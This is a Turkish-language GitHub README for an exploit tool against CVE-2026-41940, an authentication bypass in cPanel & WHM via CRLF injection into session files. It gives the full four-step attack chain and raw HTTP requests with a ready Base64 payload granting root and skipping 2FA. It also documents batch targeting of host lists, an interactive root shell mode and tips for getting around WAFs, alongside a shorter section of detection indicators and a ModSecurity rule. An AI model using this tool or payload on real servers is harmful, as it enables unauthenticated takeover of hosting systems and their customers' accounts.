Skip to content

Botan-linux/cve202641940

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

8 Commits
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

CVE Badge

CVSS 3.1 CVSS 4.0 CWE-306 Python 3.8+ MIT License

CVE-2026-41940 — cPanel & WHM Authentication Bypass Exploit

cPanel & WHM Authentication Bypass via CRLF Session Injection — Unauthenticated Remote Root Access


📑 İçindekiler


⚠️ Disclaimer

╔══════════════════════════════════════════════════════════════════╗
║  BU ARAÇ SADECE YETKİLİ PENETRASYON TESTİ VE GÜVENLİK         ║
║  ARAŞTIRMASI İÇİN SAĞLANMAKTADIR. Sahibi olmadığınız veya     ║
║  açık yazılı izin almadığınız sistemlere karşı yetkisiz        ║
║  kullanım YASALDIR. Yazar, bu aracın herhangi bir kötüye      ║
║  kullanımından veya neden olduğu hasarlardan sorumlu tutulamaz. ║
║                                                                 ║
║  Her zaman test öncesi uygun yetkiyi alın.                     ║
╚══════════════════════════════════════════════════════════════════╝

📋 Zafiyet Özeti

Alan Detay
CVE ID CVE-2026-41940
Açıklama cPanel & WHM login akışında kimlik doğrulama atlama zafiyeti
Etki Kimliği doğrulanmamış uzaktan saldırganlar root düzeyinde erişim elde edebilir
CVSS v3.1 9.8 CRITICALAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS v4.0 9.3 CRITICALCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
CWE CWE-306 — Missing Authentication for Critical Function
Etkilenen cPanel & WHM 11.40 sonrası tüm desteklenen sürümler
Açıklama Tarihi 28 Nisan 2026
Aktif İstismar ✅ Evet — Zero-day olarak vahşi doğada aktif olarak istismar edildi
Yazılım Oranı cPanel, paylaşımlı hosting pazarının ~%94'ünü kontrol ediyor

🔧 Teknik Detaylar

Zafiyet Mekanizması

Zafiyet, cPanel/WHM'nin cpsrvd daemon'unun kimlik doğrulama akışında bulunmaktadır. Temel sorun, cpsrvd'nin HTTP Basic Auth başlığındaki CRLF (Carriage Return Line Feed — \r\n) karakterlerini düzgün sanitize etmemesidir. Bu eksiklik, saldırganın session raw dosyasına key=value çiftleri enjekte etmesine olanak tanır.

cPanel session yönetimi iki katmanlı çalışır:

  1. Raw dosya (/var/cpanel/sessions/raw/): Session verilerinin disk üzerindeki ham hali
  2. In-memory cache: cpsrvd'nin çalışma zamanında kullandığı önbellek

Normalde raw dosyaya yazılan veriler otomatik olarak cache'e yüklenmez. Ancak do_token_denied kod yolu tetiklendiğinde, Modify::new raw dosyayı okur ve Modify::save ile cache'i günceller. Bu "cache promotion" davranışı, saldırganın enjekte ettiği değerlerin aktif session'a yansımasını sağlar.

Exploit Zinciri (4 Adım)

┌─────────────────────────────────────────────────────────────────┐
│                    EXPLOIT ZİNCİRİ AKIŞI                         │
├─────────────────────────────────────────────────────────────────┤
│                                                                 │
│  ADIM 1: Pre-Auth Session Oluşturma                            │
│  ┌──────────┐    POST /login/?login_only=1     ┌──────────┐   │
│  │ Attacker │ ──────────────────────────────── │  cpsrvd  │   │
│  └──────────┘    user=root&pass=wrong123       └──────────┘   │
│       │                         │                               │
│       │    Set-Cookie: whostmgrsession=:SID,ob_HEX            │
│       ◄────────────────────────┘                               │
│                                                                 │
│  ADIM 2: CRLF Injection via Basic Auth                         │
│  ┌──────────┐    GET /                          ┌──────────┐   │
│  │ Attacker │ ──────────────────────────────── │  cpsrvd  │   │
│  └──────────┘    Cookie: SID                   └──────────┘   │
│       │          Authorization: Basic base64(                   │
│       │            "root:x\r\n                                  │
│       │             hasroot=1\r\n                               │
│       │             user=root\r\n                               │
│       │             successful_internal_auth_...")              │
│       │                         │                               │
│       │              Raw dosyaya CRLF ile                       │
│       │              yeni satırlar enjekte edilir               │
│       ◄────────────────────────┘                               │
│                                                                 │
│  ADIM 3: Token Denied Tetikleme (Cache Promotion)              │
│  ┌──────────┐    GET /json-api/version          ┌──────────┐   │
│  │ Attacker │ ──────────────────────────────── │  cpsrvd  │   │
│  └──────────┘    Cookie: SID (yanlış token)    └──────────┘   │
│       │                         │                               │
│       │    do_token_denied tetiklenir                            │
│       │    Modify::new → raw dosyayı okur                       │
│       │    Modify::save → cache'i günceller                     │
│       ◄────────────────────────┘                               │
│                                                                 │
│  ADIM 4: Auth Bypass Doğrulama                                 │
│  ┌──────────┐    GET /cpsessXXX/json-api/vers. ┌──────────┐   │
│  │ Attacker │ ──────────────────────────────── │  cpsrvd  │   │
│  └──────────┘    Cookie: SID                   └──────────┘   │
│       │                         │                               │
│       │    Cache'de: hasroot=1 ✓                                │
│       │    successful_internal_auth_with_timestamp ✓            │
│       │    → AUTH_OK döner!                                     │
│       ◄────────────────────────┘                               │
│                                                                 │
└─────────────────────────────────────────────────────────────────┘

Detaylı Açıklama:

Adım 1 — Pre-Auth Session: Saldırgan, bilerek yanlış parola ile /login/?login_only=1 endpoint'ine POST isteği gönderir. cpsrvd, başarısız girişimi loglamak için bir session oluşturur ve Set-Cookie header'ı ile bir whostmgrsession (WHM için) veya cpsession (cPanel için) cookie'si döndürür. Bu cookie'nin formatı :SESSION_ID,ob_ENCRYPTION_KEY_HEX şeklindedir. ob değeri, session verilerini şifrelemek için kullanılan encryption key'dir.

Adım 2 — CRLF Injection: Saldırgan, elde ettiği session cookie'sini kullanarak sunucuya bir GET isteği gönderir. Bu isteğin Authorization: Basic başlığı, Base64 ile kodlanmış root:x\r\nhasroot=1\r\nuser=root\r\n... değerini içerir. cpsrvd, Basic Auth başlığını decode ettiğinde, CRLF karakterlerini sanitize etmeden session'ın raw dosyasına yazar. Sonuç olarak, raw dosyada her \r\n yeni bir satır olarak yorumlanır ve hasroot=1 gibi değerler bağımsız session değişkenleri olarak enjekte edilmiş olur.

Adım 3 — Cache Promotion: Raw dosyaya yazılan enjeksiyon, doğrudan cache'e yansımaz. Saldırgan, yanlış bir cp_security_token ile korumalı bir endpoint'e erişerek do_token_denied hata yolunu tetikler. Bu kod yolu, Modify::new fonksiyonuyla raw dosyayı yeniden okur ve Modify::save ile in-memory cache'i günceller. Bu işlem, enjekte edilen değerlerin aktif session önbelleğine promote edilmesini sağlar.

Adım 4 — Auth Bypass: Cache artık hasroot=1, user=root ve geçerli bir successful_internal_auth_with_timestamp içermektedir. cpsrvd, sonraki isteklerde bu session'ı authenticated olarak değerlendirir ve AUTH_OK döndürür. Parola kontrolü tamamen atlanır.

Enjekte Edilen Session Değişkenleri

Değişken Değer Amaç
hasroot 1 Root düzeyinde yetki verir
tfa_verified 1 İki faktörlü kimlik doğrulamayı (2FA) atlatır
user root Authenticated kullanıcıyı root olarak ayarlar
cp_security_token /cpsessXXXXXXXXXX URL yönlendirme için geçerli güvenlik token sağlar
successful_internal_auth_with_timestamp <future_timestamp> Session'ı başarıyla doğrulanmış olarak işaretler (gelecekteki bir Unix timestamp ile)

HTTP İstek Akışı

İstek 1 — Pre-Auth Session:

POST /login/?login_only=1 HTTP/1.1
Host: target.com:2087
Content-Type: application/x-www-form-urlencoded

user=root&pass=wrongpassword123

--- Response ---
HTTP/1.1 401 Unauthorized
Set-Cookie: whostmgrsession=%3Aabc123%2Cob_def456; path=/

İstek 2 — CRLF Injection:

GET / HTTP/1.1
Host: target.com:2087
Cookie: whostmgrsession=%3Aabc123%2Cob_def456
Authorization: Basic cm9vdDp4DQpoYXNyb290PTENCnRmYV92ZXJpZmllZD0xDQp1c2VyPXJvb3QNCmNwX3NlY3VyaXR5X3Rva2VuPS9jcHNlc3MxMjM0NTY3ODkwDQpzdWNjZXNzZnVsX2ludGVybmFsX2F1dGhfd2l0aF90aW1lc3RhbXA9MTc3NzcyMTYwMA==

--- Response ---
HTTP/1.1 307 Temporary Redirect
Location: /cpsess1234567890/

İstek 3 — Token Denied Tetikleme:

GET /json-api/version HTTP/1.1
Host: target.com:2087
Cookie: whostmgrsession=%3Aabc123%2Cob_def456

--- Response ---
HTTP/1.1 401 Unauthorized
Content: Token Denied

İstek 4 — Auth Bypass Doğrulama:

GET /cpsess1234567890/json-api/version HTTP/1.1
Host: target.com:2087
Cookie: whostmgrsession=%3Aabc123%2Cob_def456

--- Response ---
HTTP/1.1 200 OK
Content-Type: application/json
{"version":"11.126.0.53"}

🛡️ Yamalanmış Sürümler

Versiyon Track Yamalanmış Sürüm Önceki Etkilenen Sürümler
11.110 11.110.0.97 11.110.0.0 — 11.110.0.96
11.118 11.118.0.63 11.118.0.0 — 11.118.0.62
11.126 11.126.0.54 11.126.0.0 — 11.126.0.53
11.132 11.132.0.29 11.132.0.0 — 11.132.0.28
11.134 11.134.0.20 11.134.0.0 — 11.134.0.19
11.136 11.136.0.5 11.136.0.0 — 11.136.0.4

Not: 11.40 öncesi sürümler etkilenmemektedir ancak bu sürümler zaten desteklenmemektedir.


🚀 Kurulum

Gereksinimler

  • Python 3.8 veya üzeri
  • requests kütüphanesi
  • urllib3 kütüphanesi

Kurulum Adımları

# Repository'yi klonla
git clone https://github.com/<username>/CVE-2026-41940.git
cd CVE-2026-41940

# Bağımlılıkları yükle
pip install requests urllib3

# Çalıştırılabilir yap
chmod +x cve202641940.py

# Yardım mesajını göster
python3 cve202641940.py --help

📖 Kullanım Rehberi

Tüm Parametreler

python3 cve202641940.py [SEÇENEKLER]

Hedef Seçimi (zorunlu, bir tanesi):
  --target TARGET       Tek hedef URL (örn: https://target:2087)
  --targets TARGETS     Hedef listesi dosyası (her satıra bir URL)

Mod Seçimi:
  --shell               Exploit sonrası interaktif WHM/cPanel shell başlat
  --cmd CMD             Exploit sonrası tek WHM API komutu çalıştır
  --scan                Sadece keşif (versiyon tespiti, exploit atmadan)

Ağ Ayarları:
  --proxy PROXY         HTTP/HTTPS proxy (örn: http://127.0.0.1:8080)
  --timeout TIMEOUT     İstek zaman aşımı - saniye (varsayılan: 30)
  --retries RETRIES     Başarısız isteklerde tekrar deneme sayısı (varsayılan: 3)
  --delay DELAY         Tekrar denemeler arası bekleme - saniye (varsayılan: 1.0)

Çıktı Ayarları:
  --output OUTPUT, -o OUTPUT  Sonuçları JSON dosyasına kaydet
  --quiet               Sessiz mod (sadece hatalar ve sonuçlar)
  --json                JSON formatında çıktı ver
  --log-file LOG_FILE   Detaylı loglama için dosya yolu

Temel Kullanım

# En basit kullanım - hedefe exploit at
python3 cve202641940.py --target https://192.168.1.100:2087

Bu komut exploit zincirinin 4 adımını sırayla çalıştırır:

  1. ✅ Pre-auth session oluşturur
  2. ✅ CRLF payload enjekte eder
  3. ✅ Token denied tetikler (cache promotion)
  4. ✅ Auth bypass'ı doğrular

Başarılı olursa session cookie ve security token bilgilerini gösterir.

Keşif Modu (--scan)

# Sadece keşif - exploit ATMAZ, versiyon tespiti yapar
python3 cve202641940.py --target https://192.168.1.100:2087 --scan

Bu mod hiçbir istismar denemesi yapmadan şu bilgileri toplar:

  • WHM (port 2087) mi yoksa cPanel (port 2083) mı olduğunu tespit eder
  • cPanel/WHM versiyon numarasını belirler
  • Versiyonun yamalı mı yoksa vulnerable mı olduğunu raporlar

Örnek Çıktı:

[*] Reconnaissance: Detecting target type...
[+] WHM detected on port 2087
[*] Fingerprinting cPanel version...
[+] Version from header: 11.126.0.53
[!] Version 11.126.0.53 appears VULNERABLE!

--- Scan Results ---
  Target: https://192.168.1.100:2087
  Type: WHM
  Version: 11.126.0.53
  Status: VULNERABLE
  Patched version: 11.126.0.54

Shell Modu (--shell)

# Exploit + interaktif root shell
python3 cve202641940.py --target https://192.168.1.100:2087 --shell

Exploit başarılı olduktan sonra interaktif bir shell açılır:

[✓] CVE-2026-41940 EXPLOIT SUCCESSFUL!
[+] Session Cookie: whostmgrsession=%3Aabc123%2Cob_def456
[+] Security Token: /cpsess1234567890
[+] Base URL: https://192.168.1.100:2087/cpsess1234567890

--- WHM Root Shell ---
Available commands:
  WHM API:  version, listaccts, accountsummary, restartservice_mysql, ...
  Utility:  help, exit

root@whm$ version
Status: 200
{
  "version": "11.126.0.53"
}

root@whm$ listaccts
Status: 200
{
  "acct": [
    {
      "user": "client1",
      "domain": "example.com",
      "plan": "basic",
      ...
    }
  ]
}

root@whm$ exit
[!] Exiting shell...

Tek Komut Modu (--cmd)

# Exploit + tek API komutu çalıştır
python3 cve202641940.py --target https://192.168.1.100:2087 --cmd "listaccts"
python3 cve202641940.py --target https://192.168.1.100:2087 --cmd "version"
python3 cve202641940.py --target https://192.168.1.100:2087 --cmd "servicestatus"

Shell açmadan doğrudan tek bir WHM API komutunun çıktısını alır. Otomasyon ve script'lerde kullanışlıdır.

Batch Modu (--targets)

# Hedef listesi dosyası oluştur
cat > targets.txt << 'EOF'
# Yorum satırları # ile başlar
# WHM hedefleri
https://192.168.1.100:2087
https://192.168.1.101:2087
# cPanel hedefleri
https://10.0.0.50:2083
https://10.0.0.51:2083
EOF

# Toplu exploit
python3 cve202641940.py --targets targets.txt --output batch_results.json

# Toplu keşif
python3 cve202641940.py --targets targets.txt --scan --output scan_results.json

Örnek Çıktı:

[*] Loaded 4 targets from targets.txt
--- Target 1/4: https://192.168.1.100:2087 ---
[✓] EXPLOIT SUCCESSFUL!
--- Target 2/4: https://192.168.1.101:2087 ---
[-] Auth bypass could NOT be verified. Target may be patched.
--- Target 3/4: https://10.0.0.50:2083 ---
[✓] EXPLOIT SUCCESSFUL!
--- Target 4/4: https://10.0.0.51:2083 ---
[-] Connection refused

--- Batch Results Summary ---
Total targets: 4
Successful: 2
Failed: 2
[*] Results saved to batch_results.json

Proxy Kullanımı (Burp Suite)

# Burp Suite ile trafiği izle
python3 cve202641940.py \
  --target https://192.168.1.100:2087 \
  --proxy http://127.0.0.1:8080 \
  --shell

Neden Proxy Kullanmalısın?

  • CRLF payload'ın HTTP header'da nasıl göründüğünü görebilirsin
  • Session cookie değişimlerini adım adım takip edebilirsin
  • 307 redirect ve token denied response'ları inceleyebilirsin
  • WAF kurallarının payload'ı engelleyip engellemediğini görebilirsin
  • Zafiyet mekanizmasını öğrenmek için en iyi yoldur

Burp Suite Ayarları:

  1. Burp Suite'i aç → Proxy → Intercept → Intercept is on
  2. Python script'i --proxy http://127.0.0.1:8080 ile çalıştır
  3. Her isteği adım adım incele

JSON Çıktı ve Loglama

# JSON formatında sonuç kaydet (CI/CD ve otomasyon için)
python3 cve202641940.py \
  --target https://192.168.1.100:2087 \
  --json \
  --output results.json

# Sessiz mod + JSON (sadece final sonuç)
python3 cve202641940.py \
  --target https://192.168.1.100:2087 \
  --quiet \
  --json \
  --cmd "version"

# Detaylı log dosyası (analiz ve raporlama için)
python3 cve202641940.py \
  --target https://192.168.1.100:2087 \
  --log-file exploit_20260430.log \
  --shell

results.json Örneği:

{
  "success": true,
  "target": "https://192.168.1.100:2087",
  "version": "11.126.0.53",
  "is_vulnerable": true,
  "base_url": "https://192.168.1.100:2087/cpsess1234567890",
  "session_cookie": "whostmgrsession=%3Aabc123%2Cob_def456",
  "security_token": "/cpsess1234567890"
}

🧪 Lab Ortamında Test

VPS ile cPanel Lab Kurulumu

Adım 1: VPS Al

Sağlayıcı Minimum Plan Fiyat
DigitalOcean 2GB RAM / 1 CPU ~$12/ay
Hetzner CX21 (4GB RAM) ~€5/ay
Vultr 2GB RAM / 1 CPU ~$12/ay
AWS Lightsail 2GB RAM ~$10/ay

İşletim Sistemi: AlmaLinux 9 veya Ubuntu 22.04 LTS (cPanel tarafından desteklenen)

Adım 2: cPanel Kurulumu

# VPS'e bağlan
ssh root@VPS_IP

# Sistemi güncelle
dnf update -y   # AlmaLinux
# veya
apt update && apt upgrade -y   # Ubuntu

# cPanel kurulumu
curl -o latest https://securedownloads.cpanel.net/latest
sh latest

# Kurulum 20-40 dakika sürebilir
# Kurulum tamamlandığında WHM'e eriş:
# https://VPS_IP:2087

Adım 3: Vulnerable Sürümde Sabitleme

# ÖNEMLİ: Otomatik update'i KAPAT (yoksa hemen patch'lenir!)
whmapi1 set_tweaksetting?key=autoupdate&value=never

# Update config'i düzenle
cat > /etc/cpupdate.conf << 'EOF'
CPANEL=11.126.0.53
RPMUP=daily
SARULESUP=daily
STAGING_DIR=/usr/local/cpanel
UPDATES=never
EOF

# cPanel'i yeniden başlat
systemctl restart cpsrvd

# Versiyon kontrolü
whmapi1 version

Adım 4: Güvenlik Önlemleri (Lab'ı Dışarıya Kapat)

# SADECE kendi IP'nden erişime izin ver
iptables -A INPUT -p tcp --dport 2087 -s SENIN_IP -j ACCEPT
iptables -A INPUT -p tcp --dport 2087 -j DROP
iptables -A INPUT -p tcp --dport 2083 -s SENIN_IP -j ACCEPT
iptables -A INPUT -p tcp --dport 2083 -j DROP

# Kuralları kaydet
iptables-save > /etc/iptables/rules.v4   # Ubuntu
# veya
service iptables save                      # AlmaLinux

Docker ile Lab (Alternatif)

# cPanel Docker image'i yoktur ama benzer bir ortam için:
# Uyarı: Docker'da cPanel tam çalışmayabilir, VPS tercih edilir

# Alternatif: Vulnerable bir cPanel imajı varsa
docker run -d \
  --name cpanel-lab \
  -p 2087:2087 \
  -p 2083:2083 \
  cpanel-vulnerable:11.126.0.53

Adım Adım Test Senaryosu

# ═══════════════════════════════════════════
# ADIM 1: Keşif — Hedefi tanı
# ═══════════════════════════════════════════
python3 cve202641940.py --target https://LAB_IP:2087 --scan

# Çıktı:
# [+] WHM detected on port 2087
# [+] Version: 11.126.0.53
# [!] VULNERABLE!


# ═══════════════════════════════════════════
# ADIM 2: Burp Suite ile Debug
# ═══════════════════════════════════════════
python3 cve202641940.py \
  --target https://LAB_IP:2087 \
  --proxy http://127.0.0.1:8080 \
  --log-file debug.log

# Burp'te her isteği incele:
# - İstek 1: POST /login -> Set-Cookie response
# - İstek 2: GET / + Authorization header -> CRLF payload
# - İstek 3: GET /json-api/version -> Token Denied
# - İstek 4: GET /cpsessXXX/json-api/version -> 200 OK


# ═══════════════════════════════════════════
# ADIM 3: Shell Al
# ═══════════════════════════════════════════
python3 cve202641940.py \
  --target https://LAB_IP:2087 \
  --shell

# Shell içinde:
root@whm$ version          # Sürümü doğrula
root@whm$ listaccts        # Hesapları listele
root@whm$ servicestatus    # Servis durumları
root@whm$ accountsummary   # Hesap özeti
root@whm$ systemloadavg    # Sistem yükü


# ═══════════════════════════════════════════
# ADIM 4: Raporla
# ═══════════════════════════════════════════
python3 cve202641940.py \
  --target https://LAB_IP:2087 \
  --cmd "version" \
  --json \
  --output pentest_result.json \
  --log-file pentest_$(date +%Y%m%d_%H%M%S).log


# ═══════════════════════════════════════════
# ADIM 5: Lab'ı Temizle
# ═══════════════════════════════════════════
# cPanel'i yamala
/usr/local/cpanel/scripts/upcp --force

# Veya VPS'i sil (DigitalOcean/Hetzner dashboard)

Örnek Çıktılar

Başarılı Exploit:

   ██████╗██╗   ██╗██████╗ ███████╗ ██████╗
  ██╔════╝╚██╗ ██╔╝██╔══██╗██╔════╝██╔═══██╗
  ██║      ╚████╔╝ ██████╔╝█████╗  ██║   ██║
  ██║       ╚██╔╝  ██╔══██╗██╔══╝  ██║   ██║
  ╚██████╗   ██║   ██████╔╝███████╗╚██████╔╝
   ╚═════╝   ╚═╝   ╚═════╝ ╚══════╝ ╚═════╝

[*] CVE-2026-41940 - cPanel & WHM Authentication Bypass via CRLF Session Injection
[*] CVSS 3.1: 9.8 | CVSS 4.0: 9.3 | CWE-306
[!] For authorized penetration testing & security research ONLY!

[+] Target: https://192.168.1.100:2087
[+] Retries: 3 | Delay: 1.0s
[*] Reconnaissance: Detecting target type...
[+] WHM detected on port 2087
[*] Fingerprinting cPanel version...
[+] Version from header: 11.126.0.53
[!] Version 11.126.0.53 appears VULNERABLE!
[*] Step 1/4: Creating pre-authentication session...
[+] Session cookie name: whostmgrsession
[+] Session ID: abc123def456
[*] Ob (encryption key): 789ghi012
[*] Step 2/4: Injecting CRLF payload via Basic Auth...
[+] cpsrvd token extracted from redirect: /cpsess1234567890
[+] CRLF injection successful (307 redirect: /cpsess1234567890/)
[*] Step 3/4: Triggering token denied for cache promotion...
[+] Token denied triggered via: /json-api/version
[*] Step 4/4: Verifying authentication bypass...
[✓] AUTH BYPASS VERIFIED! Root access obtained.
[✓] CVE-2026-41940 EXPLOIT SUCCESSFUL!
[+] Session Cookie: whostmgrsession=%3Aabc123def456%2Cob_789ghi012
[+] Security Token: /cpsess1234567890
[+] Base URL: https://192.168.1.100:2087/cpsess1234567890

Patchlenmiş Hedef:

[*] Step 1/4: Creating pre-authentication session...
[+] Session ID: abc123def456
[*] Step 2/4: Injecting CRLF payload via Basic Auth...
[*] Injection response status: 401
[!] Received 401 after injection - injection may still be on disk.
[*] Step 3/4: Triggering token denied for cache promotion...
[+] Token denied triggered via: /json-api/version
[*] Step 4/4: Verifying authentication bypass...
[-] Authentication bypass could NOT be verified.
    The target may be patched or the exploit conditions were not met.

🔍 Shell Komutları Referansı

WHM API Komutları

Komut WHM API Endpoint Açıklama
version version cPanel/WHM sürümünü göster
listaccts listaccts Tüm cPanel hesaplarını listele
accountsummary accountsummary Hesap özeti al
servicestatus servicestatus Servis durumlarını kontrol et
systemloadavg systemloadavg Sistem yük ortalamalarını göster
bandwidth bandwidth Bant genişliği kullanımını göster
restartservice_httpd restartservice Apache'yi yeniden başlat
restartservice_mysql restartservice MySQL'i yeniden başlat
restartservice_dovecot restartservice Dovecot'u yeniden başlat
whmapi1 <komut> <komut> Herhangi bir WHM API1 komutu çalıştır

cPanel API Komutları

Komut Modül/Fonksiyon Açıklama
stats StatsBar/getstatdisplay Hesap istatistiklerini göster
domains DomainLookup/getmaindomains Ana domainleri listele
uapi <modül> <fonksiyon> UAPI Herhangi bir UAPI komutu çalıştır

Genel Komutlar

Komut Açıklama
help Mevcut komutları göster
exit Shell'den çık

🚨 Hata Ayıklama Rehberi

Yaygın Hatalar ve Çözümleri

Hata Mesajı Neden Çözüm
SSL error Sertifika doğrulama hatası Kodda verify=False zaten var. Proxy kullanıyorsanız Burp sertifikasını ekleyin
Connection refused Port kapalı veya hedef yok nmap -p 2083,2087 HEDEF ile portları kontrol edin
Connection timed out Ağ sorunu veya güvenlik duvarı --timeout 60 ile zaman aşımını artırın
403 Forbidden WAF veya rate limiting --delay 3 ile istekleri yavaşlatın veya IP'nizi değiştirin
No Set-Cookie header found Login endpoint'i farklı --proxy ile Burp'te trafiği inceleyin
Could not parse session cookie Cookie formatı farklı --log-file ile detaylı log alın ve cookie yapısını inceleyin
Ob value not found Cookie'de encryption key yok Bazı sürümlerde ob yoktur, exploit yine de çalışabilir
Received 403 - target may have WAF WAF CRLF payload'ı engelliyor Farklı encoding deneyin veya WAF'ı atlatın
Auth bypass could NOT be verified Patchli sürüm veya yanlış token --scan ile versiyonu kontrol edin, --log-file ile detay inceleyin

Detaylı Debug Adımları

# 1. Hedefin erişilebilir olduğunu doğrula
curl -k https://HEDEF:2087/ -v

# 2. Burp Suite ile manuel exploit dene
# - POST /login/?login_only=1 (yanlış parola ile)
# - Set-Cookie header'ını kopyala
# - GET / + Cookie + Authorization: Basic ile CRLF payload gönder
# - Redirect/401 response'u incele

# 3. Exploit aracını verbose logla
python3 cve202641940.py \
  --target https://HEDEF:2087 \
  --log-file /tmp/debug.log \
  --proxy http://127.0.0.1:8080

# 4. Log dosyasını incele
cat /tmp/debug.log | python3 -m json.tool

🛡️ Tespit ve Önleme

İstismar Tespit İndikatörleri

1. Ağ İndikatörleri:

  • /login/?login_only=1 endpoint'ine yanlış kimlik bilgileriyle art arda istekler
  • Authorization: Basic başlığında CRLF karakterleri içeren istekler
  • Kısa süre içinde 401 → 200 yanıt geçişi (aynı session ile)

2. Log İndikatörleri:

# cPanel access log
/var/log/cpanel-access.log
- Aranacak: Authorization header'da %0D%0A veya \r\n
- Aranacak: Aynı session ID ile 401 sonrası 200

# cPanel error log
/var/log/cpanel-error.log
- Aranacak: "Token Denied" mesajları
- Aranacak: Session raw dosya yazma hataları

3. Dosya İndikatörleri:

# Enjekte edilmiş session dosyalarını ara
grep -r "hasroot=1" /var/cpanel/sessions/raw/
grep -r "successful_internal_auth_with_timestamp" /var/cpanel/sessions/raw/

# Anormal session dosyalarını tespit et
find /var/cpanel/sessions/raw/ -mmin -60 -ls

4. cPanel Resmi Tespit Scripti: cPanel, güvenlik danışma belgesinde bir tespit scripti sağlamıştır:

# cPanel'in resmi tespit scriptini çalıştır
https://support.cpanel.net/hc/en-us/articles/40073787579671

Önleme Adımları

Öncelik Aksiyon Detay
🔴 Kritik cPanel'i yamala Yukarıdaki yamalanmış sürümlere güncelle
🟠 Yüksek Port erişimini kısıtla 2083/2087 portlarını yalnızca güvenilir IP'lere aç
🟡 Orta WAF kuralı ekle HTTP header'larda CRLF enjeksiyonu engelle
🟢 Düşük İzleme ve alarm Session anomalisi tespiti ve log monitöring

WAF Kuralı Örneği (ModSecurity):

SecRule REQUEST_HEADERS:Authorization "@rx [\r\n]" \
    "id:1001,phase:1,deny,status:403,msg:'CRLF injection in Authorization header detected'"

📁 Dosya Yapısı

CVE-2026-41940/
├── cve202641940.py          # Ana exploit scripti
├── README.md                # Bu dosya - detaylı dokümantasyon
├── targets.txt              # Batch modu için örnek hedef listesi
└── LICENSE                  # MIT Lisansı

📚 Kaynaklar

Kaynak Bağlantı
NVD - CVE-2026-41940 https://nvd.nist.gov/vuln/detail/CVE-2026-41940
cPanel Güvenlik Danışma Belgesi https://support.cpanel.net/hc/en-us/articles/40073787579671
watchTowr Labs Analizi https://labs.watchtowr.com/the-internet-is-falling-down-falling-down-falling-down-cpanel-whm-authentication-bypass-cve-2026-41940
Rapid7 ETR https://www.rapid7.com/blog/post/etr-cve-2026-41940-cpanel-whm-authentication-bypass
watchTowr PoC (GitHub) https://github.com/watchtowrlabs/watchTowr-vs-cPanel-WHM-AuthBypass-to-RCE.py
BleepingComputer Haberleri https://www.bleepingcomputer.com/news/security/critical-cpanel-and-whm-bug-exploited-as-a-zero-day-poc-now-available
The Hacker News Haberleri https://thehackernews.com/2026/04/critical-cpanel-authentication.html
VulnCheck Danışma Belgesi https://www.vulncheck.com/advisories/cpanel-and-whm-authentication-bypass-via-login-flow
SOC Prime Analizi https://socprime.com/blog/cve-2026-41940-critical-cpanel-whm-authentication-bypass-exposes-hosting-servers-to-admin-takeover
Hadrian Analizi https://hadrian.io/blog/cve-2026-41940-a-critical-authentication-bypass-in-cpanel

📄 Lisans

Bu proje MIT Lisansı altında lisanslanmıştır. Detaylar için LICENSE dosyasına bakın.


🤝 Sorumlu Açıklama (Responsible Disclosure)

Bu exploit, kamuya açık bilgilere dayanmaktadır. Zafiyetin açıklanma süreci:

  1. Keşif: cPanel tarafından tespit edildi (muhtemelen dışarıdan bildirim)
  2. Açıklama: 28 Nisan 2026'da cPanel güvenlik danışma belgesi yayınlandı
  3. Aktif İstismar: Açıklama öncesi vahşi doğada zero-day olarak istismar edildi
  4. Yama: Tüm desteklenen cPanel/WHM sürümleri için yama yayınlandı

Yeni zafiyetler keşfederseniz, lütfen yayınlamadan önce satıcıyla doğrudan iletişime geçerek sorumlu açıklama (responsible disclosure) ilkelerine uyun.


⚠️ Bu aracı sadece yetkili pentest ve güvenlik araştırması için kullanın.

About

bir cve için egitim amaçlı exploit

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors